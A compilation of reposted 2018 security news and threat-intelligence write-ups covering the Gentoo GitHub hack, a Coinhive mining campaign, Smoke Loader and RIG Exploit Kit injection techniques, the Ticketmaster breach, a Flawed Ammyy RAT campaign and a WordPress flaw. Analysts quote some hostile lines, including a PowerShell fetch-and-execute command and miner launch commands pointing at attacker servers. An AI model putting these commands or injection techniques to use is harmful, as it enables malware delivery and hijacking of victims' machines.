Password-Guessing Was Used to Hack Gentoo Linux Github Account


Maintainers of the Gentoo Linux distribution have now revealed the impact and “root cause” of the attack that saw unknown hackers taking control of its GitHub account last week and modifying the content of its repositories and pages.

The hackers not only managed to change the content in compromised repositories but also locked out Gentoo developers from their GitHub organisation.

As a result of the incident, the developers were unable to use GitHub for five days.

What Went Wrong?

Gentoo developers have revealed that the attackers were able to gain administrative privileges for its Github account, after guessing the account password.

The organisation could have been saved if it was using a two-factor authentication, which requires an additional passcode besides the password in order to gain access to the account.

“The attacker gained access to a password of an organization administrator. Evidence collected suggests a password scheme where disclosure on one site made it easy to guess passwords for unrelated web pages,” Gentoo wrote in its incident report.

Besides this, Gentoo developers did not also have a backup copy of its GitHub Organization detail. What’s more? The systemd repo was also not mirrored from Gentoo but was stored directly on GitHub.

What Went Well? (Luckily)

However, Gentoo believed the project got lucky that the attack was “loud,” as knocking all other developers out of the targeted GitHub account caused them to be emailed.

Quick action from both Gentoo and Github put an end to the attack in about 70 minutes.

“The attack was loud; removing all developers caused everyone to get emailed,” the Gentoo maintainers said. “Given the credential taken, it’s likely a quieter attack would have provided a longer opportunity window.”

Moreover, the report also added that by force pushing commits that attempted to remove all files, the attacker made “downstream consumption more conspicuous,” which could have eventually “blocked git from silently pulling in new content to existing checkouts on ‘git pull’.”

As the project previously said, the main Gentoo repositories are kept on Gentoo hosted infrastructure, and Gentoo mirrors to GitHub in order to “be where the contributors are.”

Therefore, the private keys of the account were not impacted by the incident, and so the Gentoo-hosted infrastructure.

Impact of the Cyber Attack

As a result of the incident, the Gentoo Proxy Maintainers Project was impacted as many proxy maintainers contributors use GitHub to submit pull requests, and all past pull requests were also disconnected from their original commits and closed.

The attackers also attempted to add “rm -rf” commands to various repositories, which if executed, would have deleted user data recursively. However, this code was unlikely to be executed by end users due to various technical guards in place.

rm is a Unix command which is used for removing files, directories and similar, and rm -rf denotes a more forcible removal, which “would cause every file accessible from the present file system to be deleted from the machine.”

Steps Taken to Prevent Future Cyber Attacks

Following the incident, Gentoo has taken many actions to prevent such attacks in the future. These actions include:

  • Making frequent backups of its GitHub Organization.
  • Enabling two-factor authentication by default in Gentoo’s GitHub Organization, which will eventually come to all users the project’s repositories.
  • Working on an incident response plan, particularly for sharing information about a security incident with users.
  • Tightening up procedures around credential revocation.
  • Reducing the number of users with elevated privileges, auditing logins, and publishing password policies that mandate password managers.
  • Introducing support for hardware-based 2FA for Gentoo developers

Currently, it is not known who was behind the Gentoo Hack. Gentoo did not say if the incident has been reported to law enforcement to hunt for the hacker(s).

Go to Source

Obfuscated Coinhive shortlink reveals larger mining operation

During the past several months, in-browser mining has continued to affect a large number of websites, predominantly relying on Coinhive’s infamous API. We documented several campaigns on this blog, in particular Drupalgeddon, where attackers are taking advantage of vulnerabilities in popular Content Management Systems (CMS) to compromise websites and push payloads both client- and server-side.

In the past weeks, our crawlers have catalogued several hundred sites using a variety of CMS all injected with the same obfuscated code that uses Coinhive’s shortlink to perform silent drive-by mining. By pivoting on this indicator of compromise, we were able to identify a larger infrastructure receiving traffic from several thousand hacked sites acting as doorways to redirect traffic to a central server involved in the distribution of both web and standard malware coin miners.

Figure 1: Mining operation fueled by compromised sites

Obfuscated miner injection

As part of our regular crawls, we look for known redirects to sites of interest and lately, most have been related to Coinhive domains. We detected hundreds of new domains, all legitimate websites that were injected with a blurb of hexadecimal code. Once decoded, it shows as an invisible iframe (1×1 pixel) to cnhv[.]co/3h2b2. We believe it is part of the same campaign that was exposed by the folks over at Sucuri at the end of May.

</i frame>

Figure 2: A WordPress site injected with an obfuscated iframe loading Coinhive’s API

The cnhv[.]co domain name is used for what Coinhive calls shortlinks, essentially a way of monetizing on hyperlinks by making visitors’ browsers solve a certain number of hashes before they reach their destination site. When clicking on such a link, you will see a progress bar and within a few seconds, you will be redirected. Crooks are abusing this feature by loading those shortlinks as hidden iframes with an unreasonably high hash count.

Figure 3: Shortlink is taxing our CPU at 100% 

In Figure 3 where we made the iframe visible by by changing its dimensions, to show that rather than wait for a few seconds before being redirected, users will unknowingly be mining for as long as they stay on the page. Indeed, while Coinhive’s default setting is set to 1024 hashes, this one requires 3,712,000 before loading the destination URL.

Backdoor initiated redirection

Querying, we were able to find the same Coinhive key active as early as May 7 via a different redirection mechanism. There is a specific URI pattern indicating that hacked sites are being leveraged to perform a redirect to a server at 5.45.79[.]15. This in turn creates a redirection via another crafted URI where one of the parameters is the referrer site, ultimately leading to the Coinhive shortlink that will start the web miner.

Figure 4: The same shortlink was found loaded from a compromised website via an intermediary server

Several sites have been injected with both the hidden cnvh[.]co iframe method, as well as via backdoors:

Figure 5: A hacked site injected with Coinhive’s shortlink and multiple compromised URLs

The URI pattern used for the redirections can be identified by the following regular expression:

Figure 6: A regular expression showing a match between compromised sites

Blackhat SEO and doorways

Looking at those URIs again, we can note the presence of certain keywords that appear to be Search Engine Optimization (SEO) related, for instance:


We confirmed that indeed some Google or Bing searches showed us results that included the list of compromised sites that are acting as “doorways,” usually to a traffic distribution system or redirector (5.45.79[.]15). In this case, the doorways are used to trick people into downloading malicious coin miners instead of the file they were looking for.

Figure 7: Despite appearances, this file is not 100 percent clean

Note how the server at 5.45.79[.]15 is performing the redirection to another hacked sited (motoir[.]com), where the keywords passed from the URI are dynamically used to create what looks like a unique download page and file.

Figure 8: Web traffic showing the redirection sequence

Malicious coin miners

Upon execution, this executable will unpack the following three binaries:

  1. winsystem.exe: the XMRig miner
  2. clock.exe: .bat file wrapped into an EXE contains commands
  3. netflash.exe: a very simple downloader, written in .NET.

The batch script adds persistence by setting a registry entry, kills certain processes (possible miners already running), and starts mining by launching:

winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k

Figure 9: Batch script revealing the mining code

The fake download binaries are based on the same code from a miner, unsurprisingly, hosted at 5.45.79[.]15/xxxphoto.exe. Using VirusTotal Intelligence, we were able to expand on this infrastructure and identify another coin miner, which is an ELF file this time, based on this cnrig library, hosted at: 5.45.79[.]15/monero/cnrig.

Figure 10: Graph showing an ELF and Win32 miner hosted on the same server

A comment left on this VirusTotal report page indicates that this miner was found on an infected server and pulled down from a PHP backdoor called zz1.php. Searching for that file name, we located a possible candidate uploaded to a public site. Decoding the Base64 encoded strings, we can assert with greater confidence that this is the malicious PHP file used by the attackers to download the Linux coin miner from 5.45.79[.]15/monero/cnrig:

Figure 11: PHP code uploaded into compromised sites responsible for ELF miner download

Once it has retrieved the ELF binary, it runs it, using the following command in order to begin mining:

./cnrig -o 5.61.46[.]146:80 --donate-level=1 > /dev/null 2>&1


Because the miners are connecting to private pools (and likely via proxy) without using a wallet address, we cannot assess how much money the perpetrators have generated with this scheme.

In fact, the server at 5.45.79[.]15 also has its own ProxyPanel:

Figure 12: A proxy based on xmrig-proxy

The XMRig version of the miner had a public stats page indicating that there were close to 500 infected machines that had participated in the mining activity. For the CNRig version, we weren’t able to find any such stat, although the number of hacked servers was much higher.

A growing number of sites

The interest surrounding cryptocurrencies has drastically changed the malware landscape with criminals hoping to get a piece of the action. As such, a growing number of websites are being compromised both client- and server-side to distribute and run coin miners.

In this campaign, we see infrastructure used to push an XMRig miner onto users by tricking them into downloading files they were searching for online. In the meantime, hacked servers are instructed to download and run a Linux miner, generating profits for the perpetrators but incurring costs for their owners. Finally, it seems only fitting to see an abuse of Coinhive’s shortlinks to perform in-browser mining.

Malwarebytes blocks malicious mining, whether it is triggered by malware or loaded via compromised websites.

Thanks to @DynamicAnalysis for sharing additional information.

Indicators of compromise

String for obfuscated cnvh[.]co injection


Coinhive shortlink


Coinhive site key


Regex for compromised sites redirection


Redirection server


Windows miner dropper


Linux miner


The post Obfuscated Coinhive shortlink reveals larger mining operation appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Smoking Guns – Smoke Loader learned new tricks


Cisco Talos has been tracking a new version of Smoke Loader — a malicious application that can be used to load other malware — for the past several months following an alert from Cisco Advanced Malware Protection’s (AMP) Exploit Prevention engine. AMP successfully stopped the malware before it was able to infect the host, but further analysis showed some developments in the Smoke Loader sample resulting from this chain of malware that intrigued us. This includes one of the first uses of the PROPagate injection technique in real-world malware. Besides a report released at the end of last week describing a different RIG Exploit Kit-based campaign, we haven’t seen real-world malware using this.

Talos is very familiar with Smoke Loader. For example, it was used as a downloader for a cyberattack that was launched using the official website of Ukraine-based accounting software developer Crystal Finance Millennium (CFM) in January.

Similar to many other campaigns, the initial infection vector was an email with a malicious Microsoft Word document attached. The victims were tricked into opening the attachment and enabling the embedded macros. This started the malware-downloading chain, down to the final Smoke Loader infection and its plugins.

Smoke Loader is primarily used as a downloader to drop and execute additional malware like ransomware or cryptocurrency miners. Actors using Smoke Loader botnets have posted on malware forums attempting to sell third-party payload installs. This sample of Smoke Loader did not transfer any additional executables, suggesting that it may not be as popular as it once was, or it’s only being used for private purposes.

The plugins are all designed to steal sensitive information from the victim, specifically targeting stored credentials or sensitive information transferred over a browser — including Windows and Team Viewer credentials, email logins, and others.



As mentioned above, the infection chain started with an email and an attached malicious Word document (b98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc). You can see the content of this email below.

Fig. 1 – Phishing Email

The attached Word document had an embedded macro that initiated the second stage and downloaded the Trickbot malware. (0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41).

Fig. 2 – Email attachment: IO08784413.doc

This document downloads and executes the Trickbot malware from hxxp://5[.]149[.]253[.]100/sg3.exe, or hxxp://185[.]117[.]88[.]96/sg3.exe as %TEMP%\[a-zA-Z]{6-9}.exe. These URLs have served up multiple malicious executables in the past, including samples of Trickbot.

In our Trickbot cases, the malware finally downloaded the Smoke Loader trojan (b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40), which installed five additional Smoke Loader plugins. We are describing these plugins in detail later in the plugins section of this report.



Smoke Loader has often dropped Trickbot as a payload. This sample flips the script, with our telemetry showing this Trickbot sample dropping Smoke Loader. This is likely an example of malware-as-a-service, with botnet operators charging money to install third-party malware on infected computers. We haven’t analysed the Trickbot sample further, but for your reference, we are providing the Trickbot configuration here (IP addresses redacted with bracketed dots for security reasons.):


<module name=”systeminfo” ctl=”GetSystemInfo”/>
<module name=”injectDll”/>


Malware frequently iterates through process lists to find a process to inject. Security researchers know this process well and have created many tools to track the Windows APIs used in this technique, like CreateToolhelp32Snapshot. This Smoke Loader sample avoids iterating through process lists by calling the Windows API GetShellWindow to get a handle to the shell’s desktop window, then calling GetWindowThreadProcessId to get the process ID of Explorer.exe.

Smoke Loader then uses standard injection API to create and write two memory sections in Explorer, one for shellcode and another for a UxSubclassInfo structure to be used later for PROPagate injection.

GetShellWindow -> GetWindowThreadProcessId -> NtOpenProcess -> NtCreateSection -> NtMapViewOfSection x2 -> NtUnmapViewOfSection

The window handle retrieved from the previous call to GetShellWindow has a second purpose. Smoke Loader uses EnumChildWindows to iterate through each of the handle’s child windows to find one containing the property UxSubclassInfo, which indicates it is vulnerable to PROPagate injection.

PROPagate injection was first described by a security researcher in late 2017, though there were no public POCs available when Smoke Loader started using it. The Smoke Loader developers likely used publicly available notes on PROPagate to recreate the technique.

Fig. 3 – PROPagate Injection

For each child window, the injector calls EnumPropsA to iterate through window properties until it finds UxSubclassInfo. This function also showcases some of the anti-analysis techniques employed by this sample’s packer. There are several unnecessary jumps for control flow obfuscation, including simple opaque predicates leading to junk code.

“Deobf_next_chunk” takes arguments for size and offset for the next chunk of code to deobfuscate and execute, so the bulk of the malicious code is deobfuscated as needed, and can be obfuscated again once the next chunk is loaded. The obfuscation method is a simple one-byte XOR with the same hardcoded value for every piece.
These anti-analysis techniques are accompanied by anti-debugging and anti-VM checks, as well as threads dedicated to scanning for processes and windows belonging to analysis tools. These features complicate forensics, runtime AV scanners, tracing, and debugging.

Fig. 4 – Trigger malicious event handler via WM_NOTIFY and WM_PAINT

Once the shellcode and UxSubclassInfo data are written to the remote process, the injector calls SetPropA to update the property for the window, then sends WM_NOTIFY and WM_PAINT messages to the target window to force it to trigger the malicious event handler that executes the injected shellcode.


Smoke Loader received five interesting plugins instead of additional payloads. Each plugin was given its own Explorer.exe process to execute in, and the malware used older techniques to inject each plugin into these processes. Each Explorer.exe process is created with the option CREATE_SUSPENDED, the shellcode is injected, then executed using ResumeThread. This is noisy and leaves six Explorer.exe processes running on the infected machine.


As mentioned above, the plugins are all designed to steal sensitive information from the victim, explicitly targeting stored credentials or sensitive information transferred over a browser. Each plugin uses the mutex “opera_shared_counter” to ensure multiple plugins don’t inject code into the same process at the same time.

Plugin 1:

This is the largest plugin with approximately 2,000 functions. It contains a statically linked SQLite library for reading local database files.

  • It targets stored info for Firefox, Internet Explorer, Chrome, Opera, QQ Browser, Outlook, and Thunderbird.
  • Recursively searches for files named logins.json which it parses for hostnameencryptedUsername, and encryptedPassword.
  • vaultcli.dll – Windows Credential Manager
  • POP3, SMTP, IMAP Credentials

Plugin 2:

This plugin recursively searches through directories looking for files to parse and exfiltrate.

The Bat!

Plugin 3:

This one injects into browsers to intercept credentials and cookies as they are transferred over HTTP and HTTPS.

  • If “fgclearcookies” is set, kills browser processes and deletes cookies.
  • iexplore.exe and microsoftedgecp.exe 
    • HttpSendRequestA 
    • HttpSendRequestW 
    • InternetWriteFile 
    • firefox.exe
  • PR_Write in nspr4.dll or nss3.dll
  • chrome.exe 
    • unknown function inside chrome.dll
  • opera.exe 
    • unknown function inside opera_browser.dll or opera.dll

Plugin 4:

This hooks ws2_32!send and ws2_32!WSASend to attempt to steal credentials for ftp, smtp, pop3, and imap

Plugin 5:

This one injects code into TeamViewer.exe to steal credentials


B98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc (IO08784413.doc)
0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41 (Trickbot)
b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40 (Smoke Loader)

Mutex: opera_shared_counter

Trickbot IPs:

Smoke Loader domains:

Dropped File: %appdata%\Microsoft\Windows\[a-z]{8}\[a-z]{8}.exe

Scheduled Task: Opera scheduled Autoupdate [0-9]{1-10}


We have seen that the trojan and botnet market is constantly undergoing changes. The players are continuously improving their quality and techniques. They modify these techniques on an ongoing basis to enhance their capabilities to bypass security tools. This clearly shows how important it is to make sure all our systems are up to date. Organizations can utilize a multi-layered defensive approach to detect and protect against these kinds of threats. Talos continues to monitor these campaigns as they evolve to ensure that defenses protect our customers. We strongly encourage users and organizations to follow recommended security practices, such as installing security patches as they become available, exercising caution when receiving messages from unknown third parties, and ensuring that a robust offline backup solution is in place. These practices will help reduce the threat of a compromise, and should aid in the recovery of any such attack.

Go to Source
Author: Talos Group

New macro-less technique to distribute malware

One of the most common and effective infection vectors, especially for businesses, is the use of malicious Office documents. This year alone, we witnessed two zero-days for both Flash and the VBScript engine, which were first actually embedded into Office documents before gaining wider adoption in web exploit kits.

In addition to leveraging software vulnerabilities, attackers are regularly abusing normal Office features, such as macros, or more obscure ones like Dynamic Data Exchange (DDE), and of course Object Linking and Embedding (OLE) attacks, which can also be mixed with exploits. System administrators can harden endpoints by disabling certain features company-wide, for example to foil certain social engineering schemes that try to trick users to enable a malicious macro. In recent versions of Office, Microsoft is also blocking the activation of objects considered high risk, based on a list of extensions that can be customized via Group Policy.

But a recent discovery by security researcher Matt Nelson, shows that yet another infection vector can be tapped into, one that circumvents the current protection settings and even Microsoft’s new Attack Surface Reduction technology. By embedding specially-crafted settings files into an Office document, an attacker can trick a user to run malicious code without any further warning or notification.

The file format, specific to Windows 10 called, is essentially XML code that is used to create shortcuts to the Control Panel. This feature can be abused because one of its elements (DeepLink) allows for any binary with parameters to be executed. All that an attacker needs to do is add his own command using Powershell.exe or Cmd.exe. And the rest is history.

A new script found by Nick Carr shows an attack where PowerShell is invoked to download and execute a Trojan (VT report). According to Matt Nelson, who discovered this new technique, Microsoft is not going to fix it, at least for the time being.

We tested this sample in our lab and are happy to report that Malwarebytes users are already protected:

During the past few years, while there has been little development with web exploit kits, there has been a lot of activity with document exploit kits such as Microsoft Word Intruder (WMI) or Threadkit. These toolkits allow attackers to craft lures and embed the exploit(s) of their choice before either spear phishing their victims or sending the file via larger spam campaigns. At the same time, it looks like classic social engineering attacks aren’t going anywhere anytime soon and will keep capitalizing on the human element.

It is import for end users and businesses to recognize that malicious documents represent a very real threat and require adequate protection and training to fend against.

The post New macro-less technique to distribute malware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

RIG Exploit Kit Delivering Monero Miner Via PROPagate Injection Technique


Through FireEye Dynamic Threat Intelligence (DTI), we observed RIG
Exploit Kit (EK) delivering a dropper that leverages the PROPagate
injection technique
to inject code that downloads and executes a
Monero miner (similar activity has been reported by Trend
). Apart from leveraging a relatively lesser known injection
technique, the attack chain has some other interesting properties that
we will touch on in this blog post.

Attack Chain

The attack chain starts when the user visits a compromised website
that loads the RIG EK landing page in an iframe. The RIG EK uses
various techniques to deliver the NSIS (Nullsoft Scriptable Install
System) loader, which leverages the PROPagate injection technique to
inject shellcode into explorer.exe. This shellcode executes the next
payload, which downloads and executes the Monero miner. The flow chart
for the attack chain is shown in Figure 1.

Figure 1: Attack chain flow chart

Exploit Kit Analysis

When the user visits a compromised site that is injected with an
iframe, the iframe loads the landing page. The iframe injected into a
compromised website is shown in Figure 2.

Figure 2: Injected iframe

The landing page contains three different JavaScripts snippets, each
of which uses a different technique to deliver the payload. Each of
these are not new techniques, so we will only be giving a brief
overview of each one in this post.

JavaScript 1

The first JavaScript has a function, fa, which returns a VBScript
that will be executed using the execScript function, as shown by the
code in Figure 3.

Figure 3: JavaScript 1 code snippet

The VBScript exploits CVE-2016-0189
which allows it to download the payload and execute it using the code
snippet seen in Figure 4.

Figure 4: VBScript code snippet

JavaScript 2

The second JavaScript contains a function that will retrieve
additional JavaScript code and append this script code to the HTML
page using the code snippet seen in Figure 5.

Figure 5: JavaScript 2 code snippet

This newly appended JavaScript exploits CVE-2015-2419
which utilizes a vulnerability in JSON.stringify. This script
obfuscates the call to JSON.stringify by storing pieces of the exploit
in the variables shown in Figure 6.

Figure 6: Obfuscation using variables

Using these variables, the JavaScript calls JSON.stringify with
malformed parameters in order to trigger CVE-2015-2419 which in turn
will cause native code execution, as shown in Figure 7.

Figure 7: Call to JSON.Stringify

JavaScript 3

The third JavaScript has code that adds additional JavaScript,
similar to the second JavaScript. This additional JavaScript adds a
flash object that exploits CVE-2018-4878,
as shown in Figure 8.

Figure 8: JavaScript 3 code snippet

Once the exploitation is successful, the shellcode invokes a command
line to create a JavaScript file with filename u32.tmp, as shown in
Figure 9.

Figure 9: WScript command line

This JavaScript file is launched using WScript, which downloads the
next-stage payload and executes it using the command line in Figure 10.

Figure 10: Malicious command line

Payload Analysis

For this attack, the actor has used multiple payloads and
anti-analysis techniques to bypass the analysis environment. Figure 11
shows the complete malware activity flow chart.

Figure 11: Malware activity flow chart

Analysis of NSIS Loader (SmokeLoader)

The first payload dropped by the RIG EK is a compiled NSIS
executable famously known as SmokeLoader. Apart from NSIS files, the
payload has two components: a DLL, and a data file (named ‘kumar.dll’
and ‘abaram.dat’ in our analysis case). The DLL has an export function
that is invoked by the NSIS executable. This export function has code
to read and decrypt the data file, which yields the second stage
payload (a portable executable file).

The DLL then spawns itself (dropper) in SUSPENDED_MODE and injects
the decrypted PE using process hollowing.

Analysis of Injected Code (Second Stage Payload)

The second stage payload is a highly obfuscated executable. It
consists of a routine that decrypts a chunk of code, executes it, and
re-encrypts it.

At the entry point, the executable contains code that checks the OS
major version, which it extracts from the Process Environment Block
(PEB). If the OS version value is less than 6 (prior to Windows
Vista), the executable terminates itself. It also contains code that
checks whether the executable is in debugged mode, which it extracts
from offset 0x2 of the PEB. If the BeingDebugged flag is set,
the executable terminates itself.

The malware also implements an Anti-VM check by opening the registry
key HKLMSYSTEMControlSet001ServicesDiskEnum with value 0.

It checks whether the registry value data contains any of the
strings: vmware, virtual, qemu, or xen.  Each of these strings is
indictative of virtual machines

After running the anti-analysis and environment check, the malware
starts executing the core code to perform the malicious activity.

The malware uses the PROPagate
injection method
to inject and execute the code in a targeted
process. The PROPagate method is similar to the SetWindowLong
injection technique. In this method, the malware uses the SetPropA
function to modify the callback for UxSubclassInfo and cause the
remote process to execute the malicious code.

This code injection technique only works for a process with lesser
or equal integrity level. The malware first checks whether the
integrity of the current running process is medium integrity level
(2000, SECURITY_MANDATORY_MEDIUM_RID). Figure 12 shows the code snippet.

Figure 12: Checking integrity level of
current process

If the process is higher than medium integrity level, then the
malware proceeds further. If the process is lower than medium
integrity level, the malware respawns itself with medium integrity.

The malware creates a file mapping object and writes the dropper
file path to it and the same mapping object is accessed by injected
code, to read the dropper file path and delete the dropper file. The
name of the mapping object is derived from the volume serial number of
the system drive and a XOR operation with the hardcoded value (Figure 13).

File Mapping Object Name = “Volume Serial Number” + “Volume Serial
Number” XOR 0x7E766791

Figure 13: Creating file mapping object name

The malware then decrypts the third stage payload using XOR and
decompresses it with RTLDecompressBuffer. The third stage payload is
also a PE executable, but the author has modified the header of the
file to avoid it being detected as a PE file in memory scanning. After
modifying several header fields at the start of decrypted data, we can
get the proper executable header (Figure 14).

Figure 14: Injected executable without
header (left), and with header (right)

After decrypting the payload, the malware targets the shell process,
explorer.exe, for malicious code injection. It uses GetShellWindow and
GetWindowThreadProcessId APIs to get the shell window’s thread ID
(Figure 15).

Figure 15: Getting shell window thread ID

The malware injects and maps the decrypted PE in a remote process
(explorer.exe). It also injects shellcode that is configured as a
callback function in SetPropA.

After injecting the payload into the target process, it uses
EnumChild and EnumProps functions to enumerate all entries in the
property list of the shell window and compares it with UxSubclassInfo

After finding the UxSubclassInfo property of the shell window, it
saves the handle info and uses it to set the callback function through SetPropA.

SetPropA has three arguments, the third of which is data. The
callback procedure address is stored at the offset 0x14 from the
beginning of data. Malware modifies the callback address with the
injected shellcode address (Figure 16).

Figure 16: Modifying callback function

The malware then sends a specific message to the window to execute
the callback procedure corresponding to the UxSubclassInfo property,
which leads to the execution of the shellcode.

The shellcode contains code to execute the address of the entry
point of the injected third stage payload using CreateThread. It then
resets the callback for SetPropA, which was modified by malware during
PROPagate injection. Figure 17 shows the code snippet of the injected shellcode.

Figure 17: Assembly view of injected shellcode

Analysis of Third Stage Payload

Before executing the malicious code, the malware performs
anti-analysis checks to make sure no analysis tool is running in the
system. It creates two infinitely running threads that contain code to
implement anti-analysis checks.

The first thread enumerates the processes using
CreateToolhelp32Snapshot and checks for the process names generally
used in analysis. It generates a DWORD hash value from the process
name using a custom operation and compares it with the array of
hardcoded DWORD values. If the generated value matches any value in
the array, it terminates the corresponding process.

The second thread enumerates the windows using EnumWindows. It uses
GetClassNameA function to extract the class name associated with the
corresponding window. Like the first thread, it generates a DWORD hash
value from the class name using a custom operation and compares it
with the array of hardcoded DWORD values. If the generated value
matches any value in the array, it terminates the process related to
the corresponding window.

Other than these two anti-analysis techniques, it also has code to
check the internet connectivity by trying to reach the URL: www.msftncsi[.]com/ncsi.txt.

To remain persistent in the system, the malware installs a scheduled
task and a shortcut file in %startup% folder. The scheduled task is
named “Opera Scheduled Autoupdate {Decimal Value of GetTickCount()}”.

The malware then communicates with the malicious URL to download the
final payload, which is a Monero miner. It creates a MD5 hash value
using Microsoft CryptoAPIs from the computer name and the volume
information and sends the hash to the server in a POST request. Figure
18 shows the network communication.

Figure 18: Network communication

The malware then downloads the final payload, the Monero miner, from
the server and installs it in the system.


Although we have been observing a decline in Exploit Kit activity,
attackers are not abandoning them altogether. In this blog post, we
explored how RIG EK is being used with various exploits to compromise
endpoints. We have also shown how the NSIS Loader leverages the lesser
known PROPagate process injection technique, possibly in an attempt to
evade security products.

FireEye MVX and the FireEye Endpoint Security (HX) platform detect
this attack at several stages of the attack chain.


We would like to thank Sudeep Singh and Alex Berry for their
contributions to this blog post.

Go to Source
Author: Sudhanshu Dubey

Ticketmaster Suffers Security Breach – Personal and Payment Data Stolen

Global entertainment ticketing service Ticketmaster has admitted that the company has suffered a security breach, warning customers that their personal and payment information may have been accessed by an unknown third-party.

The company has blamed a third-party support customer service chat application for the data breach that believed to affect tens of thousands of its customers.

The customer support chat application, made by Inbenta Technologies—a third-party artificial intelligence tech supplier—used to help major websites interact with their customers.

In its statement, Ticketmaster said it discovered malicious software on the customer support application hosted on its UK website that allowed attackers to extract the personal and payment information from its customers buying tickets.

Ticketmaster disabled the Inbenta product across all of its websites as soon as it recognized the malicious code.

However, Inbenta Technologies turned away blame back to Ticketmaster, saying that the ticketing service deployed the chat application improperly on its website.

“Upon further investigation by both parties, it has been confirmed that the source of the data breach was a single piece of JavaScript code, that was customized by Inbenta to meet Ticketmaster’s particular requirements,” Inbenta chief executive Jordi Torras said in a statement.

“This code is not part of any of Inbenta’s products or present in any of our other implementations. Ticketmaster directly applied the script to its payments page, without notifying our team.”

Inbenta said by applying this Javascript to the payment page, Ticketmaster presented attackers with “a point of vulnerability that affects the capacity for web forms to upload files,” allowing attackers to locate, modify, and use the script to “extract the payment information of Ticketmaster customers processed between February and June 2018.”

Compromised information includes name, address, email address, telephone number, payment details and Ticketmaster login details of its customers.

“Forensic teams and security experts are working around the clock to understand how the data was compromised,” Ticketmaster said. “We are working with relevant authorities, as well as credit card companies and banks.”

Neither Ticketmaster nor Inbenta did say the number of customers affected by the incident, but the ticketing service did confirm that less than 5% of its global customer base has been affected.

Inbenta is entirely confident that no other customer of Inbenta has been compromised in any way, and that the incident has “nothing to do with any of its industry-leading AI and machine learning products,” which serve hundreds of customers on six continents.

“We can fully assure our customers and end-users that no other implementation of Inbenta across any of our products or customer deployments has been affected,” Inbenta said.

Ticketmaster said that it has emailed all affected customers, and is offering 12 months of free identity monitoring service for those who have been impacted.

Affected customers are also advised to keep a close eye on their bank account transactions for signs of any suspicious activity, and immediately notify their banks if found any.

Users are also advised to be cautious if they receive any suspicious or unrecognized phone call, text message, or email from anyone saying you must pay taxes or a debt immediately—even if they provide your personal information.

Go to Source

Security Alert: New Spam Campaign Delivers Flawed Ammyy RAT to Infect Victims’ Computers

There’s no doubt that malware remains one of the most known and dangerous online threats users are facing on a daily basis. Malicious actors use it in various cyber attacks to steal personal information, gain full access to a computer system and do everything they want on the PC.

This is the case of Remote Administration Tools (RATs) which are used by cybercriminals to remotely take full control of users’ PCs using Windows and infect them with malware.

Security researchers recently observed and analyzed a new spam campaign in which a RAT dubbed as Flawed Ammy, was used as a payload.

The name comes from a legit software, the Ammyy Admin Remote Desktop Software version 3, used by more than 75 million home and business users. This RAT has previously been used in other targeted email attacks and spam campaigns.

How does Flawed Ammy RAT spread?

In the observed spam campaign, malicious actors can easily take full control of victims’ machines, if they click and open the document received via email.

Keep in mind that this attack uses an Excel Web Query File (.iqv) attachment, which is a type of file used to download data from the Internet and copying it directly into an Excel sheet.

The unwanted email comes with the following content (sanitized for your own protection):

Subject Line:

Attachment: -> img_005.iqy

If a victim opens the attached file and clicks it, the Flawed Ammyy RAT will be downloaded and malicious actors will be running it from this location http: // 24hourssupports [.] Com / img01 .gif  (sanitized for your safety)

The malicious file is actually a Powershell script that can perform the following command:

= Cmd | ‘ / c C: Windows System32 WindowsPowerShell v1.0 powershell.exe -nop -NoLogo -c IEX ((new-object net.webclient) .downloadstring ( “http: // 24hourssupports [.] com / img02 .gif “)) ‘! A0

As shown, this PowerShell script activates the download of another one (img02.gif) containing features that start a cmd.exe session and dropping the “cmd_.exe” file to the Windows temporary folder.

After that, the Flawed Ammyy RAT is configured so attackers can connect to the infected machine and communicate with the following C & C server located on this IP address: 169.239.128 [.] 149

Security researchers have also found that the same server has also been used for phishing attacks against iCloud and iTunes accounts:

appleid.itunes.kontolasumeme [.] com
appleid.icloud.asuppepekmemek [.] com

According to VirusTotal, only 3 antivirus products out of 60 have managed to detect this malicious .iqv file at the time we write this security alert. This means that it can bypass antivirus filters and another security solution is needed to enhance protection.

Heimdal Security proactively blocked these malicious domains, so all our Heimdal PRO and Heimdal CORP users are protected.

How to protect your computer from RATs

This type of malware can evade detection in the first place, so it’s essential to take all the security measures needed to keep your data safe.

  • Update your operating system, including all your apps and software programs, because it’s the first place where malicious actors can exploit vulnerabilities.
  • We keep reminding this: DO NOT open emails or click on files/attachments that look suspicious to you;
  •  Always have a backup with all your important data on external sources like a hard drive or in the cloud (Google Drive, Dropbox, etc.) to store it. Use this  guide to learn how to do it;
  • Make sure you have a reliable antivirus program installed on your computer to protect your valuable data from online threats;
  • Use multiple layers of protection and consider installing a proactive cyber security software solution;
  • Prevention is always recommended, so learning as much as possible about how to better detect spam campaigns is the right mindset. We recommend these free educational resources to gain more knowledge in the cybersecurity industry.

Stay safe and don’t click everything you get in your inbox!

* This article features cyber intelligence provided by CSIS Security Group researchers.

The post Security Alert: New Spam Campaign Delivers Flawed Ammyy RAT to Infect Victims’ Computers appeared first on Heimdal Security Blog.

Go to Source
Author: Ioana Rijnetu

Unpatched WordPress Flaw Gives Attackers Full Control Over Your Site


Last week we received a tip about an unpatched vulnerability in the WordPress core, which could allow a low-privileged user to hijack the whole site and execute arbitrary code on the server.

Discovered by researchers at RIPS Technologies GmbH, the “authenticated arbitrary file deletion” vulnerability was reported 7 months ago to the WordPress security team but remains unpatched and affects all versions of WordPress, including the current 4.9.6.

The vulnerability resides in one of the core functions of WordPress that runs in the background when a user permanently deletes thumbnail of an uploaded image.

Researchers find that the thumbnail delete function accepts unsanitized user input, which if tempered, could allow users with limited-privileges of at least an author to delete any file from the web hosting, which otherwise should only be allowed to server or site admins.

The requirement of at least an author account automatically reduces the severity of this flaw to some extent, which could be exploited by a rogue content contributor or a hacker who somehow gains author’s credential using phishing, password reuse or other attacks.

